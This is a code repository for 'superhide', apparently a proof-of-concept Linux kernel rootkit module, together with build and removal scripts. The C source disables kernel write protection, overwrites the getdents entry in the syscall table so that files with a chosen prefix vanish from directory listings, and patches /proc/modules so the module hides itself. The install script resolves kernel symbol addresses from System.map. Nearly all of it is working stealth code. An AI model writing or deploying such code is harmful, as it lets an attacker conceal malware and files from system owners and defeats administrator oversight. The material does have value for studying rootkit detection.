├── .gitignore ├── Makefile ├── NOTES.txt ├── README.md ├── build_and_install.sh ├── remove_and_clean.sh └── superhide.c /.gitignore: -------------------------------------------------------------------------------- 1 | *.ko 2 | *.o 3 | modules.order 4 | Module.symvers 5 | *.mod.* 6 | sysgen.h 7 | *.cmd 8 | .tmp_versions 9 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | 2 | #TODO create a .sh file to generate our .h file with offsets we need to get before building? 3 | #ifneq ($(KERNELRELEASE),) 4 | 5 | obj-m += superhide.o 6 | 7 | all: 8 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules 9 | 10 | clean: 11 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean 12 | -------------------------------------------------------------------------------- /NOTES.txt: -------------------------------------------------------------------------------- 1 | 2 | if I want to add a trampoline thing I can: 3 | make my own instruction length disassembler 4 | or just rewrite the overwritten bytes every time 5 | I can't really do this because of race conditions 6 | or pull a full disassembler with me into the kernel 7 | or make a userspace daemon just for length disassembling 8 | 9 | So maybe just get the syscall_table, and overwrite that 10 | For now I look in userspace before inserting the node with /boot/System.map 11 | Or I could find a reference to it maybe? That would be nice 12 | maybe at arch_syscall_addr 13 | Or I could do a bruteforce search 14 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # superhide 2 | 3 | 4 | An example of a Loadable Kernel Module (LKM) that hooks the system call table. 5 | 6 | 7 | This module will hide any userspace files that start with a certain prefix from any program that uses the getdents system call to list a directories files. 8 | 9 | 10 | To use this, run `sudo build_and_install.sh` in the superhide folder. Remeber where the folder is, because it will be hidden now. 11 | 12 | To remove this, run `sudo remove_and_clean.sh` in the superhide folder. 13 | 14 | This program only captures the getdents syscall for hiding files, it doesn't hook the getdents64 call because just doing getdents was enough for a proof of concept. Turns out most things just use the getdents syscall though. 15 | 16 | Note: I have found this to not work on some newer kernels. 17 | -------------------------------------------------------------------------------- /build_and_install.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | RET=0 4 | # require root privs 5 | if [[ $UID != 0 ]]; then 6 | echo "Please run this script with sudo" 7 | exit 1 8 | fi 9 | 10 | # generate the file we need 11 | 12 | smap="/boot/System.map-$(uname -r)" 13 | 14 | echo -e "#pragma once" > ./sysgen.h 15 | echo -e "#include " >> ./sysgen.h 16 | 17 | symbline=$(cat $smap | grep '\Wsys_call_table$') 18 | set $symbline 19 | echo -e "void** sys_call_table = (void**)0x$1;" >> ./sysgen.h 20 | 21 | procline=$(cat $smap | grep '\Wproc_modules_operations$') 22 | set $procline 23 | 24 | echo -e "struct file_operations* proc_modules_operations = (struct file_operations*)0x$1;" >> ./sysgen.h 25 | 26 | # make it 27 | make 28 | 29 | if [ $? -eq 0 ]; then 30 | # insert the module 31 | insmod ./superhide.ko 32 | else 33 | echo "make failed" 34 | RET=1 35 | fi 36 | 37 | exit $RET 38 | -------------------------------------------------------------------------------- /remove_and_clean.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | RET=0 4 | # require root privs 5 | if [[ $UID != 0 ]]; then 6 | echo "Please run this script with sudo" 7 | exit 1 8 | fi 9 | 10 | # remove it 11 | rmmod superhide 12 | 13 | # cleanup 14 | 15 | make clean 16 | 17 | rm -f ./sysgen.h 18 | -------------------------------------------------------------------------------- /superhide.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include "sysgen.h" 8 | 9 | #define GETDENTS_SYSCALL_NUM 78 10 | #define WRITE_PROTECT_FLAG (1<<16) 11 | #define HIDE_PREFIX "jordans_secrets." 12 | #define HIDE_PREFIX_SZ (sizeof(HIDE_PREFIX) - 1) 13 | #define MODULE_NAME "superhide" 14 | #define MODULE_NAME_SZ (sizeof(MODULE_NAME) - 1) 15 | 16 | struct linux_dirent { 17 | unsigned long d_ino; 18 | unsigned long d_off; 19 | unsigned short d_reclen; // d_reclen is the way to tell the length of this entry 20 | char d_name[1]; // the struct value is actually longer than this, and d_name is variable width. 21 | }; 22 | 23 | MODULE_LICENSE("GPL"); // Is actually needed on some distros inorder to link with things 24 | 25 | // function type for the getdents handler function 26 | typedef asmlinkage long (*sys_getdents_t)(unsigned int fd, struct linux_dirent __user *dirent, unsigned int count); 27 | // the original handler 28 | sys_getdents_t sys_getdents_orig = NULL; 29 | 30 | // function type for the proc modules read handler 31 | typedef ssize_t (*proc_modules_read_t) (struct file *, char __user *, size_t, loff_t *); 32 | // the original read handler 33 | proc_modules_read_t proc_modules_read_orig = NULL; 34 | 35 | // our new getdents handler 36 | asmlinkage long sys_getdents_new(unsigned int fd, struct linux_dirent __user *dirent, unsigned int count) { 37 | int boff; 38 | struct linux_dirent* ent; 39 | long ret = sys_getdents_orig(fd, dirent, count); 40 | char* dbuf; 41 | if (ret <= 0) { 42 | return ret; 43 | } 44 | dbuf = (char*)dirent; 45 | // go through the entries, looking for one that has our prefix 46 | for (boff = 0; boff < ret;) { 47 | ent = (struct linux_dirent*)(dbuf + boff); 48 | 49 | if ((strncmp(ent->d_name, HIDE_PREFIX, HIDE_PREFIX_SZ) == 0) // if it has the hide prefix 50 | || (strstr(ent->d_name, MODULE_NAME) != NULL)) { // or if it has the module name anywhere in it 51 | // remove this entry by copying everything after it forward 52 | memcpy(dbuf + boff, dbuf + boff + ent->d_reclen, ret - (boff + ent->d_reclen)); 53 | // and adjust the length reported 54 | ret -= ent->d_reclen; 55 | } else { 56 | // on to the next entry 57 | boff += ent->d_reclen; 58 | } 59 | } 60 | return ret; 61 | } 62 | 63 | // our new /proc/modules read handler 64 | ssize_t proc_modules_read_new(struct file *f, char __user *buf, size_t len, loff_t *offset) { 65 | char* bad_line = NULL; 66 | char* bad_line_end = NULL; 67 | ssize_t ret = proc_modules_read_orig(f, buf, len, offset); 68 | // search in the buf for MODULE_NAME, and remove that line 69 | bad_line = strnstr(buf, MODULE_NAME, ret); 70 | if (bad_line != NULL) { 71 | // find the end of the line 72 | for (bad_line_end = bad_line; bad_line_end < (buf + ret); bad_line_end++) { 73 | if (*bad_line_end == '\n') { 74 | bad_line_end++; // go past the line end, so we remove that too 75 | break; 76 | } 77 | } 78 | // copy over the bad line 79 | memcpy(bad_line, bad_line_end, (buf+ret) - bad_line_end); 80 | // adjust the size of the return value 81 | ret -= (ssize_t)(bad_line_end - bad_line); 82 | } 83 | 84 | return ret; 85 | } 86 | 87 | // runs on insmod 88 | static int __init lkm_init_module(void) { 89 | printk(KERN_INFO "superhide loaded\n"); 90 | 91 | printk(KERN_INFO "sys_call_table @ %p\n", sys_call_table); 92 | 93 | // record the original getdents handler 94 | sys_getdents_orig = (sys_getdents_t)((void**)sys_call_table)[GETDENTS_SYSCALL_NUM]; 95 | 96 | printk(KERN_INFO "original sys_getdents @ %p\n", sys_getdents_orig); 97 | 98 | // record the original /proc/modules read handler 99 | proc_modules_read_orig = proc_modules_operations->read; 100 | printk(KERN_INFO "original /proc/modules read @ %p\n", proc_modules_read_orig); 101 | 102 | // turn write protect off 103 | write_cr0(read_cr0() & (~WRITE_PROTECT_FLAG)); 104 | 105 | // add our new handlers 106 | sys_call_table[GETDENTS_SYSCALL_NUM] = sys_getdents_new; 107 | proc_modules_operations->read = proc_modules_read_new; 108 | 109 | // turn write protect back on 110 | write_cr0(read_cr0() | WRITE_PROTECT_FLAG); 111 | 112 | printk(KERN_INFO "New syscall in place\n"); 113 | printk(KERN_INFO "New proc/modules read in place\n"); 114 | 115 | 116 | 117 | return 0; 118 | } 119 | 120 | // runs on rmmod 121 | static void __exit lkm_cleanup_module(void) { 122 | printk(KERN_INFO "superhide leaving\n"); 123 | 124 | // allow us to write to read onlu pages 125 | write_cr0(read_cr0() & (~WRITE_PROTECT_FLAG)); 126 | // set getdents handler back 127 | sys_call_table[GETDENTS_SYSCALL_NUM] = sys_getdents_orig; 128 | // set the /proc/modules read back 129 | proc_modules_operations->read = proc_modules_read_orig; 130 | // turn write protect back on 131 | write_cr0(read_cr0() | WRITE_PROTECT_FLAG); 132 | printk(KERN_INFO "Old syscall back\n"); 133 | printk(KERN_INFO "Old proc/modules read back\n"); 134 | } 135 | 136 | // register the init and exit functions 137 | module_init(lkm_init_module); 138 | module_exit(lkm_cleanup_module); 139 | --------------------------------------------------------------------------------